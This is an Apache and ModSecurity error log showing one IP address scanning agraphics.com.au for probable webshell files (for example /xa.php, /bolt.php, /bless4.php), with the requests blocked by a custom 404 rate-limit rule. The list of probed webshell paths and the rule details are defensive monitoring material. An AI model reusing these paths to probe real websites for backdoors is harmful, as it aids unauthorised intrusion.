[Thu Apr 09 17:57:01.792064 2026] [:error] [pid 24624:tid 24639] [client 20.240.63.86:27650] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "add37e4Jn-WvK1ZBTviwHgAAAM0"]
[Thu Apr 09 17:57:03.266272 2026] [:error] [pid 24515:tid 24523] [client 20.240.63.86:27651] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "add3761OMnvM2fMnB1NvcQAAAAQ"]
[Thu Apr 09 17:57:05.095149 2026] [:error] [pid 24517:tid 24590] [client 20.240.63.86:13266] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "add38XboYEn2ZFM_PS9ttQAAAJA"]
[Thu Apr 09 17:57:06.204353 2026] [:error] [pid 20837:tid 20848] [client 20.240.63.86:22118] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "add38vSL71FHZkjrGzPDwwAAAYk"]
[Thu Apr 09 17:57:08.372039 2026] [:error] [pid 24515:tid 24531] [client 20.240.63.86:35126] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "add39K1OMnvM2fMnB1NvdwAAAAw"]
[Thu Apr 09 17:57:10.090181 2026] [:error] [pid 24624:tid 24636] [client 20.240.63.86:17377] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "add39u4Jn-WvK1ZBTviwJgAAAMo"]
[Thu Apr 09 17:57:10.937378 2026] [:error] [pid 24624:tid 24628] [client 20.240.63.86:30629] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "add39u4Jn-WvK1ZBTviwKAAAAMI"]
[Thu Apr 09 17:57:11.935551 2026] [:error] [pid 24515:tid 24543] [client 20.240.63.86:47055] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "add3961OMnvM2fMnB1NvewAAABg"]
[Thu Apr 09 17:57:13.077147 2026] [:error] [pid 24516:tid 24564] [client 20.240.63.86:17398] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "add3-dhW7vSS-UkeWCUamgAAAFE"]
[Thu Apr 09 17:57:14.798847 2026] [:error] [pid 24927:tid 24947] [client 20.240.63.86:35122] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "add3-jXObuzEuw8mNJvf0wAAARE"]
[Thu Apr 09 17:57:16.172555 2026] [:error] [pid 24515:tid 24537] [client 20.240.63.86:30598] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "add3_K1OMnvM2fMnB1NvfgAAABI"]
[Thu Apr 09 17:57:18.103348 2026] [:error] [pid 24516:tid 24556] [client 20.240.63.86:28578] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "add3_thW7vSS-UkeWCUangAAAEk"]
[Thu Apr 09 17:57:19.767902 2026] [:error] [pid 24516:tid 24569] [client 20.240.63.86:43242] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "add3_9hW7vSS-UkeWCUaoAAAAFY"]
[Thu Apr 09 17:57:20.819528 2026] [:error] [pid 24624:tid 24649] [client 20.240.63.86:20125] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "add4AO4Jn-WvK1ZBTviwNgAAANc"]
[Thu Apr 09 17:57:21.523122 2026] [:error] [pid 24515:tid 24527] [client 20.240.63.86:18870] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "add4Aa1OMnvM2fMnB1NvhwAAAAg"]
[Thu Apr 09 17:57:22.174586 2026] [:error] [pid 24515:tid 24530] [client 20.240.63.86:43201] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "add4Aq1OMnvM2fMnB1NvigAAAAs"]
[Thu Apr 09 17:57:23.765905 2026] [:error] [pid 24515:tid 24522] [client 20.240.63.86:18821] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "add4A61OMnvM2fMnB1NvjQAAAAM"]
[Thu Apr 09 17:57:25.385979 2026] [:error] [pid 24515:tid 24533] [client 20.240.63.86:43827] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "add4Ba1OMnvM2fMnB1NvkwAAAA4"]
[Thu Apr 09 17:57:26.680978 2026] [:error] [pid 24515:tid 24543] [client 20.240.63.86:35079] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "add4Bq1OMnvM2fMnB1NvlgAAABg"]
[Thu Apr 09 17:57:27.554607 2026] [:error] [pid 24516:tid 24564] [client 20.240.63.86:28259] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "add4B9hW7vSS-UkeWCUaqQAAAFE"]
[Thu Apr 09 17:57:29.031589 2026] [:error] [pid 24516:tid 24558] [client 20.240.63.86:23945] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "add4CdhW7vSS-UkeWCUarQAAAEs"]
[Thu Apr 09 17:57:29.852193 2026] [:error] [pid 24624:tid 24635] [client 20.240.63.86:47083] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "add4Ce4Jn-WvK1ZBTviwPgAAAMk"]
[Thu Apr 09 17:57:30.703866 2026] [:error] [pid 24515:tid 24539] [client 20.240.63.86:50826] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "add4Cq1OMnvM2fMnB1NvogAAABQ"]
[Thu Apr 09 17:57:31.752470 2026] [:error] [pid 24515:tid 24532] [client 20.240.63.86:27711] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "add4C61OMnvM2fMnB1NvqAAAAA0"]
[Thu Apr 09 17:57:33.609353 2026] [:error] [pid 24927:tid 24939] [client 20.240.63.86:27684] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "add4DTXObuzEuw8mNJvf3QAAAQk"]
[Thu Apr 09 17:57:35.561491 2026] [:error] [pid 24515:tid 24534] [client 20.240.63.86:30630] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "add4D61OMnvM2fMnB1NvvQAAAA8"]
[Thu Apr 09 17:57:37.251663 2026] [:error] [pid 24515:tid 24532] [client 20.240.63.86:43825] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "add4Ea1OMnvM2fMnB1NvvwAAAA0"]
[Thu Apr 09 17:57:41.808211 2026] [:error] [pid 24624:tid 24633] [client 20.240.63.86:23941] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "add4Fe4Jn-WvK1ZBTviwQwAAAMc"]
[Thu Apr 09 17:57:44.687675 2026] [:error] [pid 24516:tid 24557] [client 20.240.63.86:47759] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "add4GNhW7vSS-UkeWCUatwAAAEo"]
[Thu Apr 09 17:57:47.499874 2026] [:error] [pid 24927:tid 24938] [client 20.240.63.86:47014] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "add4GzXObuzEuw8mNJvf8wAAAQg"]
[Thu Apr 09 17:57:51.925590 2026] [:error] [pid 24927:tid 24931] [client 20.240.63.86:50864] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "add4HzXObuzEuw8mNJvgBgAAAQE"]
[Thu Apr 09 17:57:52.827154 2026] [:error] [pid 24515:tid 24526] [client 20.240.63.86:35585] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "add4IK1OMnvM2fMnB1Nv0AAAAAc"]
[Thu Apr 09 17:57:54.311044 2026] [:error] [pid 24515:tid 24530] [client 20.240.63.86:47018] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "add4Iq1OMnvM2fMnB1Nv1AAAAAs"]
[Thu Apr 09 17:57:57.371546 2026] [proxy_fcgi:error] [pid 24516:tid 24565] [client 20.240.63.86:44426] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:57:57.716491 2026] [proxy_fcgi:error] [pid 24516:tid 24562] [client 20.240.63.86:44426] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:57:57.983591 2026] [proxy_fcgi:error] [pid 24516:tid 24552] [client 20.240.63.86:44426] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:57:58.352042 2026] [proxy_fcgi:error] [pid 24516:tid 24551] [client 20.240.63.86:44426] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:57:58.682138 2026] [proxy_fcgi:error] [pid 24516:tid 24567] [client 20.240.63.86:44426] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:57:59.215165 2026] [proxy_fcgi:error] [pid 24516:tid 24571] [client 20.240.63.86:44426] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:57:59.641027 2026] [proxy_fcgi:error] [pid 24516:tid 24550] [client 20.240.63.86:44426] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:57:59.950810 2026] [proxy_fcgi:error] [pid 24516:tid 24570] [client 20.240.63.86:44426] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:58:00.217982 2026] [proxy_fcgi:error] [pid 24516:tid 24555] [client 20.240.63.86:44426] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:58:00.485162 2026] [proxy_fcgi:error] [pid 24516:tid 24553] [client 20.240.63.86:44426] AH01071: Got error 'Primary script unknown'
[Thu Apr 09 17:58:01.014124 2026] [:error] [pid 24516:tid 24547] [client 20.240.63.86:44426] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "add4KdhW7vSS-UkeWCUa0QAAAEA"]
[Thu Apr 09 17:58:05.662867 2026] [:error] [pid 18477:tid 18488] [client 20.240.63.86:41935] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "add4LcDe826HlFeoLPJqSAAAAUk"]
[Thu Apr 09 17:58:09.226886 2026] [:error] [pid 24516:tid 24569] [client 20.240.63.86:11160] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "add4MdhW7vSS-UkeWCUa3QAAAFY"]
[Thu Apr 09 17:58:10.910863 2026] [:error] [pid 24927:tid 24935] [client 20.240.63.86:44478] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "add4MjXObuzEuw8mNJvgRQAAAQU"]
[Thu Apr 09 17:58:12.285819 2026] [:error] [pid 18477:tid 18495] [client 20.240.63.86:41927] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "add4NMDe826HlFeoLPJqTgAAAVA"]
[Thu Apr 09 17:58:13.538525 2026] [:error] [pid 18477:tid 18481] [client 20.240.63.86:46983] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "add4NcDe826HlFeoLPJqVAAAAUI"]
[Thu Apr 09 17:58:15.463113 2026] [:error] [pid 18477:tid 18497] [client 20.240.63.86:21699] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "add4N8De826HlFeoLPJqWgAAAVI"]
[Thu Apr 09 17:58:17.857322 2026] [:error] [pid 24624:tid 24637] [client 20.240.63.86:47795] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "add4Oe4Jn-WvK1ZBTviwWgAAAMs"]
[Thu Apr 09 17:58:20.375519 2026] [:error] [pid 18477:tid 18501] [client 20.240.63.86:41940] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "add4PMDe826HlFeoLPJqmwAAAVY"]
[Thu Apr 09 17:58:21.231109 2026] [:error] [pid 24624:tid 24647] [client 20.240.63.86:5477] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "add4Pe4Jn-WvK1ZBTviwWwAAANU"]
[Thu Apr 09 17:58:22.921150 2026] [:error] [pid 24927:tid 24942] [client 20.240.63.86:44441] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "add4PjXObuzEuw8mNJvgUgAAAQw"]
[Thu Apr 09 17:58:23.818610 2026] [:error] [pid 24927:tid 24940] [client 20.240.63.86:43850] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "add4PzXObuzEuw8mNJvgWQAAAQo"]
[Thu Apr 09 17:58:26.380889 2026] [:error] [pid 24516:tid 24557] [client 20.240.63.86:47770] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "add4QthW7vSS-UkeWCUbEAAAAEo"]
[Thu Apr 09 17:58:28.621046 2026] [:error] [pid 24515:tid 24522] [client 20.240.63.86:25880] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "add4RK1OMnvM2fMnB1NwEQAAAAM"]
[Thu Apr 09 17:58:30.605354 2026] [:error] [pid 24927:tid 24931] [client 20.240.63.86:14053] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "add4RjXObuzEuw8mNJvgbQAAAQE"]
[Thu Apr 09 17:58:32.133283 2026] [:error] [pid 24927:tid 24953] [client 20.240.63.86:43151] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "add4SDXObuzEuw8mNJvgdQAAARc"]
[Thu Apr 09 17:58:34.621984 2026] [:error] [pid 24927:tid 24930] [client 20.240.63.86:11686] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless4.php"] [unique_id "add4SjXObuzEuw8mNJvgfQAAAQA"]
[Thu Apr 09 17:58:42.759993 2026] [:error] [pid 24516:tid 24562] [client 20.240.63.86:35615] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless4.php"] [unique_id "add4UthW7vSS-UkeWCUbIAAAAE8"]
[Thu Apr 09 17:58:44.572888 2026] [:error] [pid 24516:tid 24552] [client 20.240.63.86:5236] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless4.php"] [unique_id "add4VNhW7vSS-UkeWCUbJgAAAEU"]
[Thu Apr 09 17:58:49.982307 2026] [:error] [pid 24624:tid 24649] [client 20.240.63.86:5638] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "add4We4Jn-WvK1ZBTviwkAAAANc"]
[Thu Apr 09 17:58:51.891117 2026] [:error] [pid 24927:tid 24949] [client 20.240.63.86:14466] [client 20.240.63.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "add4WzXObuzEuw8mNJvgwQAAARM"]
